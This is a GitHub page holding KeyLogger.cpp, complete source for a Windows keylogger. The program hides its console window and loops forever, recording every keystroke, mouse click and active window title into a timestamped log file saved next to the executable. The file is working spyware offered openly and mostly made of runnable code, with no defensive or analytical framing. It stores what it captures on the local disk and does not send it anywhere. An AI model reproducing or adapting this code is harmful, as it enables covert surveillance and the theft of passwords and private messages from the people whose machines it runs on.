-
Notifications
You must be signed in to change notification settings - Fork 1
/
KeyLogger.cpp
205 lines (173 loc) · 4.51 KB
/
KeyLogger.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
#define FILEEXT ".log"
#define _WIN32_WINNT 0x0500
#include <cstdlib>
#include <iostream>
#include <bits/stdc++.h>
#include <sstream>
#include <fstream>
#include <ctime>
#include <windows.h>
using namespace std;
//akashravi.tk
string intToString(int);
string getCurrDir();
string getSelfPath();
string dirBasename(string);
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPTSTR lpCmdLine,int nCmdShow){
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE); // Hide console window
string basepath = dirBasename(getSelfPath());
time_t rawtime;
struct tm *timeinfo;
time(&rawtime);
timeinfo = localtime(&rawtime);
char filename[MAX_PATH];
char filepath[MAX_PATH];
strftime(filename, 100, "%Y-%m-%d_%H-%M-%S", timeinfo);
sprintf(filepath, "%s\\%s%s", basepath.c_str(), filename, FILEEXT);
string lastTitle = "";
ofstream klogout(filepath);
SHORT lastc = 0;
while(1){
Sleep(2); // Give other programs time to run
// Get the active windowtitle
char title[1024];
HWND hwndHandle = GetForegroundWindow();
GetWindowText(hwndHandle, title, 1023);
if(lastTitle != title){
klogout << endl << endl << "Window: ";
if(strlen(title) == 0)
klogout << "NO ACTIVE WINDOW";
else
klogout << "'" << title << "'";
klogout << endl;
lastTitle = title;
}
// Logging Keys
for(unsigned char c = 1; c < 255; c++){
SHORT rv = GetAsyncKeyState(c);
if(rv & 1){ // On Press Button Down
string out = "";
if(c == 1)
out = "[LMOUSE]"; // Mouse Left
else if(c == 2)
out = "[RMOUSE]"; // Mouse Right
else if(c == 4)
out = "[MMOUSE]"; // Mouse Middle
else if(c == 13)
out = "[RETURN]";
else if(c == 16 || c == 17 || c == 18)
out = "";
else if(c == 160 || c == 161) // lastc == 16
out = "[SHIFT]";
else if(c == 162 || c == 163) // lastc == 17
out = "[STRG]";
else if(c == 164) // lastc == 18
out = "[ALT]";
else if(c == 165)
out = "[ALT GR]";
else if(c == 8)
out = "[BACKSPACE]";
else if(c == 9)
out = "[TAB]";
else if(c == 27)
out = "[ESC]";
else if(c == 33)
out = "[PAGE UP]";
else if(c == 34)
out = "[PAGE DOWN]";
else if(c == 35)
out = "[HOME]";
else if(c == 36)
out = "[POS1]";
else if(c == 37)
out = "[ARROW LEFT]";
else if(c == 38)
out = "[ARROW UP]";
else if(c == 39)
out = "[ARROW RIGHT]";
else if(c == 40)
out = "[ARROW DOWN]";
else if(c == 45)
out = "[INS]";
else if(c == 46)
out = "[DEL]";
else if(c >= 65 && c <= 90 || c >= 48 && c <= 57 || c == 32)
out = c;
else if(c == 91 || c == 92)
out = "[WIN]";
else if(c >= 96 && c <= 105)
out = "[NUM " + intToString(c - 96) + "]";
else if(c == 106)
out = "[NUM /]";
else if(c == 107)
out = "[NUM +]";
else if(c == 109)
out = "[NUM -]";
else if(c == 109)
out = "[NUM ,]";
else if(c >= 112 && c <= 123)
out = "[F" + intToString(c - 111) + "]";
else if(c == 144)
out = "[NUM]";
else if(c == 192)
out = "[OE]";
else if(c == 222)
out = "[AE]";
else if(c == 186)
out = "[UE]";
else if(c == 186)
out = "+";
else if(c == 188)
out = ",";
else if(c == 189)
out = "-";
else if(c == 190)
out = ".";
else if(c == 191)
out = "#";
else if(c == 226)
out = "<";
else
out = "[KEY \\" + intToString(c) + "]";
klogout << out;
klogout.flush();
lastc = c;
}
}
}
klogout.close();
return 0;
}
string intToString(int i){
stringstream out;
out << "" << i;
return out.str();
}
string getCurrDir(){
string rv = "";
char *curdir = new char[MAX_PATH];
GetCurrentDirectory(MAX_PATH, curdir);
rv = curdir;
delete[] curdir;
return rv;
}
string getSelfPath(){
char selfpath[MAX_PATH];
GetModuleFileName(NULL, selfpath, MAX_PATH);
return selfpath;
}
string dirBasename(string path){
if(path.empty())
return "";
if(path.find("\\") == string::npos)
return path;
if(path.substr(path.size() - 1) == "\\")
path = path.substr(0, path.size() - 1);
size_t pos = path.find_last_of("\\");
if(pos != string::npos)
path = path.substr(0, pos);
if(path.substr(path.size() - 1) == "\\")
path = path.substr(0, path.size() - 1);
return path;
}